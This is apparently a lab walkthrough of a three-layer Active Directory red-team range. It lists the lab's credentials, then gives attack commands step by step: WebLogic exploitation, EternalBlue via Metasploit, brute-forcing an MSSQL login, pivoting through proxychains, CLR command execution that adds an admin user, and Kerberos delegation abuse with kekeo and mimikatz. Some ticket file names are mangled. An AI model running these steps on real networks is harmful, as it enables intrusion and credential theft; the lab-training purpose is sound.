网络拓扑图:
整个环境共四台目标机,分别处在三层内网环境当中。
DMZ区环境IP段为 192.168.31.0/24(设置桥接模式)
DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。
第二层网络环境IP段为 10.10.20.0/24
第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络
第三层网络环境IP段为 10.10.10.0/24
第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器
DMZ区域的主机可以连通外网,第二层与第三层的均不能与外网连接
域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务
目录还原密码:[email protected]#45
主机名:owa
域管理员:administrator:Admin12345
域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派)
主机名:sqlserver-2008
本地管理员:Administrator:Admin12345
域账户:redteam\sqlserver:Server12345 (被配置了约束委派)
Mssql:sa:sa
域内个人 PC:Windows 7
主机名:work-7
本地管理员:john:[email protected]#45
域账户:redteam\saul:[email protected]#45
单机服务器:Windows server r2 + weblogic
主机名:weblogic
本地管理员:Administrator:Admin12345
weblogic :weblogic:weblogic123(访问 http://ip:7001)
weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)
其他域用户:
域服务账户:redteam\sqlserver:Server12345 (被配置了约束委派)
邮件用户:redteam\mail:[email protected]#45
加域账户:redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非约束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
本靶场存在的漏洞:
GPP:admin:[email protected]#45
存在 GPP 漏洞
存在 MS14-068
存在 CVE-2020-1472
Exchange 各种漏洞都可尝试
可尝试非约束委派
可尝试约束委派
存在 CVE-2019-1388
存在 CVE-2019-0708
外网打点:
使用Kscan扫描可以看到使用了WebLogic,直接WebLogic GUI工具进行批量漏洞检测
注入内存马
蚁剑进行连接
当前权限是administrator用户
输入tasklist,然后放入在线杀软识别
不存在杀软,可以CS生成马然后上线CS
蚁剑上传马
运行后上线CS
目标存在两个网卡
通向内网网段的10.10.20.0/24
将CS联动MSF,给MSF一个Meterpreter会话
在CS已获得的shell右键新增会话进行设置
MSF设置监听
这里由于是administrator用户,所以可以直接getsystem进行提权
内网横向移动:
在以获得的Meterpreter会话上传Fscan
fscan32.exe -h 10.10.20.0/24
10.10.20.129这台Windows7存在永恒之蓝漏洞
将MSF添加路由,通向10.10.20.0网段
现在可以利用
exploit/windows/smb/ms17_010_eternalblue 进行攻击, 拿下该机器
search ms17-010
set payload windows/x64/meterpreter/bind_tcp
set lport 7778
set rhosts 10.10.20.129
exploit
第一次攻击失败了,win7蓝屏了,重新尝试,成功
查看网卡存在另一个网段10.10.10.0/24
MSF继续添加路由
域内信息收集与域渗透:
net config Workstation
查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user
查看本机用户列表
net user /domain
查看域用户
net localgroup administrators
查看本地管理员组
net view /domain
查看有几个域
net user 用户名 /domain
获取指定域用户的信息
net group /domain
查看域里面的工作组,查看把用户分了多少组(只能在域控上操作
net group 组名 /domain
查看域中某工作组
net group "domain admins" /domain
查看域管理员的名字
net group "domain computers" /domain
查看域中的其他主机名
net group "doamin controllers" /domain(然后ping 域控的域名获得IP地址)
可以确定我们所在redteam域
域用户有:saul,sqlserver,mail,adduser,saulgoodman,gu,apt404
在当前Windows7加载mimiktaz
creds_all #列举所有凭据
得到普通域用户saul的密码
在上传Fscan扫描10.10.10.129是SQlServer服务器
我们可以尝试下SQLServer弱口令爆破
MSF设置如下:
search mssql_login
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.10.10.129 //设置攻击目标
set THREADS 5 //设置线程
set USERNAME sa //设置数据库用户名,mssql默认最高权限为sa
set PASS_FILE /root/pass.txt //设置爆破字典,字典强成功率高
run
获得账号sa,密码sa
在MSF处设置Socks5
search socks
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
vim /etc/proxychains4.conf
设置
socks5 127.0.0.1 1080
即可
随后使用工具SharpSQLTools进行提权
github地址:
https://github.com/Ridter/PySQLTool
proxychains python PySQLTools.py sa:'sa'@10.10.10.129
然后尝试xp_cmdshell提权
后续只有clr可以提权成功
enable_clr
clr_exec {cmd}
添加管理员
添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123
然后加入管理员组
proxychains python PySQLTools.py sa:'sa'@10.10.10.129
enable_clr
clr_exec 'net user ocean.com qwe.123 /add'
clr_exec 'net localgroup administrators ocean.com /add'
后面远程桌面连接,直接copy MSF的正向木马上线SQL Server这台机器
上传Adfind,查找配置了约束委派的用户
查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up [email protected]#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了非约束委派的用户:AdFind.exe -h 10.10.10.8 -u saul -up [email protected]#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了约束委派的主机:AdFind.exe -h 10.10.10.8 -u saul -up [email protected]#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询配置了约束委派的用户:AdFind.exe -h 10.10.10.8 -u saul -up [email protected]#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
可通过SQLServer拿下域控制器
mimikatz加载获得SQLServer的凭证
上传工具 kekeo,利用 kekeo 请求该用户的 TGT:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt
生成的
[email protected][email protected]获取域机器的ST:
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" > 2.txt
使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt
mimikatz kerberos::ptt [email protected]@[email protected]
拿下域控制器,三层域渗透结束